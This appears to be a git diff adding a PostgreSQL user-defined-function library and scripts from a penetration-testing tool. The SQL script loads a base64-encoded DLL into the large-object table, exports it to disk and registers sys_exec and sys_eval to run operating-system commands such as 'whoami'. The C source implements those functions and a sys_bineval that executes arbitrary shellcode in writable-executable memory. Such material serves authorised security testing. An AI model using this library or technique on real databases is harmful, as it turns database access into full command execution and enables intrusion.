-- UPDATE udftest SET data=data||'T4wBUPtNySAeQhuMIxIAAHxyoVJTAAASAAAA/wAAAACAfCQIAQ+FuQEAAGC+AHAAEI2+AKD//1eDzf/rDZCQkIoGRogHRwHbdQeLHoPu/BHbcu24AQAAAAHbdQeLHoPu/BHbEcAB23PvdQmLHoPu/BHbc+QxyYPoA3INweAIigZGg/D/dHSJxQHbdQeLHoPu/BHbEckB23UHix6D7vwR2xHJdSBBAdt1B4seg+78EdsRyQHbc+91CYseg+78Edtz5IPBAoH9APP//4PRAY0UL4P9/HYPigJCiAdHSXX36WP///+QiwKDwgSJB4PHBIPpBHfxAc/pTP///16J97ktAAAAigdHLOg8AXf3gD8AdfKLB4pfBGbB6AjBwBCGxCn4gOvoAfCJB4PHBYjY4tmNvgBQAACLBwnAdDyLXwSNhDC0cgAAAfNQg8cI/5YEcwAAlYoHRwjAdNyJ+VdI8q5V/5YIcwAACcB0B4kDg8ME6+FhMcDCDACDxwSNXvwxwIoHRwnAdCI873cRAcOLA4bEwcAQhsQB8IkD6+IkD8HgEGaLB4PHAuvii64McwAAjb4A8P//uwAQAABQVGoEU1f/1Y2HBwIAAIAgf4BgKH9YUFRQU1f/1VhhjUQkgGoAOcR1+oPsgOnDmP//AAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAEBAiABABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
|
||||||
|
-- UPDATE udftest SET data=data||'AAAAAAAAAAAEAAAAAAABABgAAAAYAACAAAAAAAAAAAAEAAAAAAABAAIAAAAwAACAAAAAAAAAAAAEAAAAAAABAAkEAABIAAAAXIAAAFYCAADkBAAAAAAAAFhAAAA8YXNzZW1ibHkgeG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYxIiBtYW5pZmVzdFZlcnNpb249IjEuMCI+DQogIDx0cnVzdEluZm8geG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4NCiAgICA8c2VjdXJpdHk+DQogICAgICA8cmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsIGxldmVsPSJhc0ludm9rZXIiIHVpQWNjZXNzPSJmYWxzZSI+PC9yZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbD4NCiAgICAgIDwvcmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICA8L3NlY3VyaXR5Pg0KICA8L3RydXN0SW5mbz4NCiAgPGRlcGVuZGVuY3k+DQogICAgPGRlcGVuZGVudEFzc2VtYmx5Pg0KICAgICAgPGFzc2VtYmx5SWRlbnRpdHkgdHlwZT0id2luMzIiIG5hbWU9Ik1pY3Jvc29mdC5WQzkwLkNSVCIgdmVyc2lvbj0iOS4wLjIxMDIyLjgiIHByb2Nlc3NvckFyY2hpdGVjdHVyZT0ieDg2IiBwdWJsaWNLZXlUb2tlbj0iMWZjOGIzYjlhMWUxOGUzYiI+PC9hc3NlbWJseUlkZW50aXR5Pg0KICAgIDwvZGVwZW5kZW50QXNzZW1ibHk+DQogIDwvZGVwZW5kZW5jeT4NCjwvYXNzZW1ibHk+UEEAAAAAAAAAAAAAAAAsgwAABIMAAAAAAAAAAAAAAAAAADmDAAAcgwAAAAAAAAAAAAAAAAAARYMAACSDAAAAAAAAAAAAAAAAAAAAAAAA';
|
||||||
|
-- UPDATE udftest SET data=data||'AAAAAFKDAABggwAAcIMAAICDAACOgwAAAAAAAJyDAAAAAAAAooMAAAAAAABLRVJORUwzMi5ETEwATVNWQ1I5MC5kbGwAcG9zdGdyZXMuZXhlAAAATG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAAVmlydHVhbFByb3RlY3QAAFZpcnR1YWxBbGxvYwAAVmlydHVhbEZyZWUAAABmcmVlAABwZnJlZQAAAAAAAABTHoNJAAAAAAaEAAABAAAABQAAAAUAAADUgwAA6IMAAPyDAAAAEAAAkBAAABAQAACgEAAAIBAAACCEAAAuhAAAQIQAAFKEAABbhAAAAAABAAIAAwAEAGxpYl9wb3N0Z3Jlc3FsdWRmX3N5cy5kbGwAUGdfbWFnaWNfZnVuYwBwZ19maW5mb19zeXNfZXZhbABwZ19maW5mb19zeXNfZXhlYwBzeXNfZXZhbABzeXNfZXhlYwAAcAAAEAAAAC07KD0sPQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
|
||||||
|
|
||||||
|
|
||||||
|
-- Create a new OID for a large object, it implicitly adds an entry in the
|
||||||
|
-- PostgreSQL large objects system table
|
||||||
|
--
|
||||||
|
-- References:
|
||||||
|
-- http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
|
||||||
|
-- http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
|
||||||
|
SELECT lo_unlink(35817);
|
||||||
|
SELECT lo_create(35817);
|
||||||
|
|
||||||
|
|
||||||
|
-- Update the PostgreSQL system large objects table assigning to the just
|
||||||
|
-- created OID the binary (base64 decoded) UDF as data
|
||||||
|
--
|
||||||
|
-- Refereces:
|
||||||
|
-- http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql
|
||||||
|
UPDATE pg_largeobject SET data=(DECODE((SELECT data FROM udftest), 'base64')) WHERE loid=35817;
|
||||||
|
|
||||||
|
|
||||||
|
-- Export the binary UDF OID to a file on the file system
|
||||||
|
--
|
||||||
|
-- Any folder where postgres user has read/write/execute access is valid
|
||||||
|
-- SELECT lo_export(35817, E'C:\\Documents and Settings\\postgres\\lib_postgresqludf_sys.dll');
|
||||||
|
--
|
||||||
|
-- Notes:
|
||||||
|
-- If the library file already exists, the user postgres does not have
|
||||||
|
-- access to overwrite it
|
||||||
|
-- The following enumerates the PostgreSQL data directory
|
||||||
|
-- SELECT CURRENT_SETTING('data_directory')
|
||||||
|
-- Reference:
|
||||||
|
-- http://www.postgresql.org/docs/8.3/interactive/functions-admin.html
|
||||||
|
-- The following will save into C:\Program Files\PostgreSQL\8.3\data
|
||||||
|
SELECT lo_export(35817, 'lib_postgresqludf_sys.dll'); -- Favourite one, no need to enumerate the PostgreSQL data directory before
|
||||||
|
-- The following will save into nowhere
|
||||||
|
-- SELECT lo_export(35817, E'\lib_postgresqludf_sys.dll');
|
||||||
|
-- The following would save into C:\ (Permission denied)
|
||||||
|
-- SELECT lo_export(35817, E'\\lib_postgresqludf_sys.dll');
|
||||||
|
|
||||||
|
|
||||||
|
-- Create two functions from the binary UDF file
|
||||||
|
-- CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS E'C:\\Documents and Settings\\postgres\\lib_postgresqludf_sys.dll', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||||
|
-- CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS E'C:\\Documents and Settings\\postgres\\lib_postgresqludf_sys.dll', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||||
|
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||||
|
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS 'lib_postgresqludf_sys.dll', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||||
|
|
||||||
|
|
||||||
|
-- Test the two functions
|
||||||
|
SELECT sys_exec('echo test > %TEMP%/lib_postgresqludf_sys.txt'); -- %TEMP% path is C:\Documents and Settings\postgres\Local Settings\Temp
|
||||||
|
SELECT sys_eval('echo %TEMP% && whoami');
|
||||||
|
|
||||||
|
|
||||||
|
-- Cleanup the file system and the database
|
||||||
|
SELECT sys_exec('del %TEMP%\\lib_postgresqludf_sys.*');
|
||||||
|
DROP TABLE IF EXISTS udftest;
|
||||||
|
DROP FUNCTION IF EXISTS sys_exec(text);
|
||||||
|
DROP FUNCTION IF EXISTS sys_eval(text);
|
||||||
11
extra/postgresqludfsys/lib_postgresqludf_sys/linux/Makefile
Normal file
11
extra/postgresqludfsys/lib_postgresqludf_sys/linux/Makefile
Normal file
@@ -0,0 +1,11 @@
|
|||||||
|
LIBDIR=/tmp
|
||||||
|
|
||||||
|
8.2:
|
||||||
|
gcc -Wall -I/usr/include/postgresql/8.2/server -O1 -shared src/8.2/lib_postgresqludf_sys.c -o so/8.2/lib_postgresqludf_sys.so
|
||||||
|
strip -sx so/8.2/lib_postgresqludf_sys.so
|
||||||
|
cp -f so/8.2/lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
|
||||||
|
|
||||||
|
8.3:
|
||||||
|
gcc -Wall -I/usr/include/postgresql/8.3/server -O1 -shared src/8.3/lib_postgresqludf_sys.c -o so/8.3/lib_postgresqludf_sys.so
|
||||||
|
strip -sx so/8.3/lib_postgresqludf_sys.so
|
||||||
|
cp -f so/8.3/lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
|
||||||
55
extra/postgresqludfsys/lib_postgresqludf_sys/linux/install.sh
Executable file
55
extra/postgresqludfsys/lib_postgresqludf_sys/linux/install.sh
Executable file
@@ -0,0 +1,55 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
|
||||||
|
# Copyright (C) 2009 Bernardo Damele A. G.
|
||||||
|
# web: http://bernardodamele.blogspot.com/
|
||||||
|
# email: bernardo.damele@gmail.com
|
||||||
|
#
|
||||||
|
# This library is free software; you can redistribute it and/or
|
||||||
|
# modify it under the terms of the GNU Lesser General Public
|
||||||
|
# License as published by the Free Software Foundation; either
|
||||||
|
# version 2.1 of the License, or (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This library is distributed in the hope that it will be useful,
|
||||||
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
# Lesser General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU Lesser General Public
|
||||||
|
# License along with this library; if not, write to the Free Software
|
||||||
|
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
|
||||||
|
# Adapt the following settings to your environment
|
||||||
|
#PORT="5433"
|
||||||
|
#VERSION="8.2"
|
||||||
|
PORT="5432"
|
||||||
|
VERSION="8.3"
|
||||||
|
USER="postgres"
|
||||||
|
|
||||||
|
echo "Compiling the PostgreSQL UDF"
|
||||||
|
make ${VERSION}
|
||||||
|
|
||||||
|
if test $? -ne 0; then
|
||||||
|
echo "ERROR: You need postgresql-server development software installed"
|
||||||
|
echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
|
||||||
|
|
||||||
|
if test "${VERSION}" == "8.2"; then
|
||||||
|
echo "apt-get install postgresql-server-dev-8.2"
|
||||||
|
else
|
||||||
|
echo "apt-get install postgresql-server-dev-8.3"
|
||||||
|
fi
|
||||||
|
|
||||||
|
exit 1
|
||||||
|
else
|
||||||
|
echo "PostgreSQL UDF compiled successfully"
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo -e "\nPlease provide your PostgreSQL 'postgres' user's password"
|
||||||
|
|
||||||
|
psql -h 127.0.0.1 -p ${PORT} -U ${USER} -q template1 < lib_postgresqludf_sys.sql
|
||||||
|
|
||||||
|
if test $? -ne 0; then
|
||||||
|
echo "ERROR: unable to install the UDF"
|
||||||
|
exit 1
|
||||||
|
else
|
||||||
|
echo "PostgreSQL UDF installed successfully"
|
||||||
|
fi
|
||||||
@@ -0,0 +1,24 @@
|
|||||||
|
/*
|
||||||
|
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
|
||||||
|
Copyright (C) 2009 Bernardo Damele A. G.
|
||||||
|
web: http://bernardodamele.blogspot.com/
|
||||||
|
email: bernardo.damele@gmail.com
|
||||||
|
|
||||||
|
This library is free software; you can redistribute it and/or
|
||||||
|
modify it under the terms of the GNU Lesser General Public
|
||||||
|
License as published by the Free Software Foundation; either
|
||||||
|
version 2.1 of the License, or (at your option) any later version.
|
||||||
|
|
||||||
|
This library is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
Lesser General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU Lesser General Public
|
||||||
|
License along with this library; if not, write to the Free Software
|
||||||
|
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
*/
|
||||||
|
|
||||||
|
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||||
|
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||||
|
CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,192 @@
|
|||||||
|
/*
|
||||||
|
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
|
||||||
|
Copyright (C) 2009 Bernardo Damele A. G.
|
||||||
|
web: http://bernardodamele.blogspot.com/
|
||||||
|
email: bernardo.damele@gmail.com
|
||||||
|
|
||||||
|
This library is free software; you can redistribute it and/or
|
||||||
|
modify it under the terms of the GNU Lesser General Public
|
||||||
|
License as published by the Free Software Foundation; either
|
||||||
|
version 2.1 of the License, or (at your option) any later version.
|
||||||
|
|
||||||
|
This library is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
Lesser General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU Lesser General Public
|
||||||
|
License along with this library; if not, write to the Free Software
|
||||||
|
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
*/
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
#define _USE_32BIT_TIME_T
|
||||||
|
#define DLLEXP __declspec(dllexport)
|
||||||
|
#define BUILDING_DLL 1
|
||||||
|
#else
|
||||||
|
#define DLLEXP
|
||||||
|
#include <sys/mman.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include <postgres.h>
|
||||||
|
#include <fmgr.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
#include <ctype.h>
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef PG_MODULE_MAGIC
|
||||||
|
PG_MODULE_MAGIC;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
PG_FUNCTION_INFO_V1(sys_exec);
|
||||||
|
extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
|
||||||
|
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||||
|
int32 argv0_size;
|
||||||
|
int32 result = 0;
|
||||||
|
char *command;
|
||||||
|
|
||||||
|
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||||
|
command = (char *)malloc(argv0_size + 1);
|
||||||
|
|
||||||
|
memcpy(command, VARDATA(argv0), argv0_size);
|
||||||
|
command[argv0_size] = '\0';
|
||||||
|
|
||||||
|
/*
|
||||||
|
Only if you want to log
|
||||||
|
elog(NOTICE, "Command execution: %s", command);
|
||||||
|
*/
|
||||||
|
|
||||||
|
result = system(command);
|
||||||
|
free(command);
|
||||||
|
|
||||||
|
PG_FREE_IF_COPY(argv0, 0);
|
||||||
|
PG_RETURN_INT32(result);
|
||||||
|
}
|
||||||
|
|
||||||
|
PG_FUNCTION_INFO_V1(sys_eval);
|
||||||
|
extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
||||||
|
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||||
|
text *result_text;
|
||||||
|
int32 argv0_size;
|
||||||
|
char *command;
|
||||||
|
char *result;
|
||||||
|
FILE *pipe;
|
||||||
|
char line[1024];
|
||||||
|
int32 outlen, linelen;
|
||||||
|
|
||||||
|
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||||
|
command = (char *)malloc(argv0_size + 1);
|
||||||
|
|
||||||
|
memcpy(command, VARDATA(argv0), argv0_size);
|
||||||
|
command[argv0_size] = '\0';
|
||||||
|
|
||||||
|
/*
|
||||||
|
Only if you want to log
|
||||||
|
elog(NOTICE, "Command evaluated: %s", command);
|
||||||
|
*/
|
||||||
|
|
||||||
|
result = (char *)malloc(1);
|
||||||
|
outlen = 0;
|
||||||
|
|
||||||
|
pipe = popen(command, "r");
|
||||||
|
|
||||||
|
while (fgets(line, sizeof(line), pipe) != NULL) {
|
||||||
|
linelen = strlen(line);
|
||||||
|
result = (char *)realloc(result, outlen + linelen);
|
||||||
|
strncpy(result + outlen, line, linelen);
|
||||||
|
outlen = outlen + linelen;
|
||||||
|
}
|
||||||
|
|
||||||
|
pclose(pipe);
|
||||||
|
|
||||||
|
if (*result) {
|
||||||
|
result[outlen-1] = 0x00;
|
||||||
|
}
|
||||||
|
|
||||||
|
result_text = (text *)malloc(VARHDRSZ + strlen(result));
|
||||||
|
VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ;
|
||||||
|
//SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
|
||||||
|
memcpy(VARDATA(result_text), result, strlen(result));
|
||||||
|
|
||||||
|
PG_RETURN_POINTER(result_text);
|
||||||
|
}
|
||||||
|
|
||||||
|
PG_FUNCTION_INFO_V1(sys_bineval);
|
||||||
|
extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
|
||||||
|
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||||
|
int32 argv0_size;
|
||||||
|
size_t len;
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
int pID;
|
||||||
|
char *code;
|
||||||
|
#else
|
||||||
|
int *addr;
|
||||||
|
size_t page_size;
|
||||||
|
pid_t pID;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||||
|
len = (size_t)argv0_size;
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
// allocate a +rwx memory page
|
||||||
|
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||||
|
strncpy(code, VARDATA(argv0), len);
|
||||||
|
|
||||||
|
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||||
|
#else
|
||||||
|
pID = fork();
|
||||||
|
if(pID<0)
|
||||||
|
PG_RETURN_INT32(1);
|
||||||
|
|
||||||
|
if(pID==0)
|
||||||
|
{
|
||||||
|
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||||
|
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||||
|
|
||||||
|
// mmap an rwx memory page
|
||||||
|
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||||
|
|
||||||
|
if (addr == MAP_FAILED)
|
||||||
|
PG_RETURN_INT32(1);
|
||||||
|
|
||||||
|
strncpy((char *)addr, VARDATA(argv0), len);
|
||||||
|
|
||||||
|
((void (*)(void))addr)();
|
||||||
|
}
|
||||||
|
|
||||||
|
if(pID>0)
|
||||||
|
waitpid(pID, 0, WNOHANG);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
PG_RETURN_INT32(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||||
|
{
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
__asm
|
||||||
|
{
|
||||||
|
mov eax, [lpParameter]
|
||||||
|
call eax
|
||||||
|
}
|
||||||
|
}
|
||||||
|
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,192 @@
|
|||||||
|
/*
|
||||||
|
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
|
||||||
|
Copyright (C) 2009 Bernardo Damele A. G.
|
||||||
|
web: http://bernardodamele.blogspot.com/
|
||||||
|
email: bernardo.damele@gmail.com
|
||||||
|
|
||||||
|
This library is free software; you can redistribute it and/or
|
||||||
|
modify it under the terms of the GNU Lesser General Public
|
||||||
|
License as published by the Free Software Foundation; either
|
||||||
|
version 2.1 of the License, or (at your option) any later version.
|
||||||
|
|
||||||
|
This library is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
Lesser General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU Lesser General Public
|
||||||
|
License along with this library; if not, write to the Free Software
|
||||||
|
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
*/
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
#define _USE_32BIT_TIME_T
|
||||||
|
#define DLLEXP __declspec(dllexport)
|
||||||
|
#define BUILDING_DLL 1
|
||||||
|
#else
|
||||||
|
#define DLLEXP
|
||||||
|
#include <sys/mman.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include <postgres.h>
|
||||||
|
#include <fmgr.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
#include <ctype.h>
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef PG_MODULE_MAGIC
|
||||||
|
PG_MODULE_MAGIC;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
PG_FUNCTION_INFO_V1(sys_exec);
|
||||||
|
extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
|
||||||
|
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||||
|
int32 argv0_size;
|
||||||
|
int32 result = 0;
|
||||||
|
char *command;
|
||||||
|
|
||||||
|
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||||
|
command = (char *)malloc(argv0_size + 1);
|
||||||
|
|
||||||
|
memcpy(command, VARDATA(argv0), argv0_size);
|
||||||
|
command[argv0_size] = '\0';
|
||||||
|
|
||||||
|
/*
|
||||||
|
Only if you want to log
|
||||||
|
elog(NOTICE, "Command execution: %s", command);
|
||||||
|
*/
|
||||||
|
|
||||||
|
result = system(command);
|
||||||
|
free(command);
|
||||||
|
|
||||||
|
PG_FREE_IF_COPY(argv0, 0);
|
||||||
|
PG_RETURN_INT32(result);
|
||||||
|
}
|
||||||
|
|
||||||
|
PG_FUNCTION_INFO_V1(sys_eval);
|
||||||
|
extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
||||||
|
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||||
|
text *result_text;
|
||||||
|
int32 argv0_size;
|
||||||
|
char *command;
|
||||||
|
char *result;
|
||||||
|
FILE *pipe;
|
||||||
|
char line[1024];
|
||||||
|
int32 outlen, linelen;
|
||||||
|
|
||||||
|
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||||
|
command = (char *)malloc(argv0_size + 1);
|
||||||
|
|
||||||
|
memcpy(command, VARDATA(argv0), argv0_size);
|
||||||
|
command[argv0_size] = '\0';
|
||||||
|
|
||||||
|
/*
|
||||||
|
Only if you want to log
|
||||||
|
elog(NOTICE, "Command evaluated: %s", command);
|
||||||
|
*/
|
||||||
|
|
||||||
|
result = (char *)malloc(1);
|
||||||
|
outlen = 0;
|
||||||
|
|
||||||
|
pipe = popen(command, "r");
|
||||||
|
|
||||||
|
while (fgets(line, sizeof(line), pipe) != NULL) {
|
||||||
|
linelen = strlen(line);
|
||||||
|
result = (char *)realloc(result, outlen + linelen);
|
||||||
|
strncpy(result + outlen, line, linelen);
|
||||||
|
outlen = outlen + linelen;
|
||||||
|
}
|
||||||
|
|
||||||
|
pclose(pipe);
|
||||||
|
|
||||||
|
if (*result) {
|
||||||
|
result[outlen-1] = 0x00;
|
||||||
|
}
|
||||||
|
|
||||||
|
result_text = (text *)malloc(VARHDRSZ + strlen(result));
|
||||||
|
//VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ;
|
||||||
|
SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
|
||||||
|
memcpy(VARDATA(result_text), result, strlen(result));
|
||||||
|
|
||||||
|
PG_RETURN_POINTER(result_text);
|
||||||
|
}
|
||||||
|
|
||||||
|
PG_FUNCTION_INFO_V1(sys_bineval);
|
||||||
|
extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
|
||||||
|
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||||
|
int32 argv0_size;
|
||||||
|
size_t len;
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
int pID;
|
||||||
|
char *code;
|
||||||
|
#else
|
||||||
|
int *addr;
|
||||||
|
size_t page_size;
|
||||||
|
pid_t pID;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||||
|
len = (size_t)argv0_size;
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
// allocate a +rwx memory page
|
||||||
|
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||||
|
strncpy(code, VARDATA(argv0), len);
|
||||||
|
|
||||||
|
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||||
|
#else
|
||||||
|
pID = fork();
|
||||||
|
if(pID<0)
|
||||||
|
PG_RETURN_INT32(1);
|
||||||
|
|
||||||
|
if(pID==0)
|
||||||
|
{
|
||||||
|
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||||
|
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||||
|
|
||||||
|
// mmap an rwx memory page
|
||||||
|
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||||
|
|
||||||
|
if (addr == MAP_FAILED)
|
||||||
|
PG_RETURN_INT32(1);
|
||||||
|
|
||||||
|
strncpy((char *)addr, VARDATA(argv0), len);
|
||||||
|
|
||||||
|
((void (*)(void))addr)();
|
||||||
|
}
|
||||||
|
|
||||||
|
if(pID>0)
|
||||||
|
waitpid(pID, 0, WNOHANG);
|
||||||
|
#endif
